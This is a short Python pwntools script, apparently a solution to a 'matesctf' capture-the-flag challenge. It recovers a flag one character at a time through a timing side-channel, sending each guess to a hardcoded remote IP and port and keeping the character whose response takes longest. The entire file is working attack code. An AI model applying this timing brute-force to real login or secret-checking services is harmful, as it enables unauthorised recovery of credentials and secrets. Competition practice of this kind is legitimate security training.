from pwn import *
import time

def exploit():

    flag = 'matesctf{'
    while True:
        maxtime = 0
        for c in '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{|}':
            if len(flag) < 22:
                # r = process('./doanxem')
                HOST = '125.235.240.168'
                PORT = 20190
                r = remote(HOST, PORT)
                r.recv()
                before = time.time()
                r.sendline(flag+c)
                r.recv()
                r.close()
                after = time.time()
                max = after - before
                if max > maxtime:
                    maxtime = max
                    brute = c
        flag = flag + brute
        print (flag)

exploit()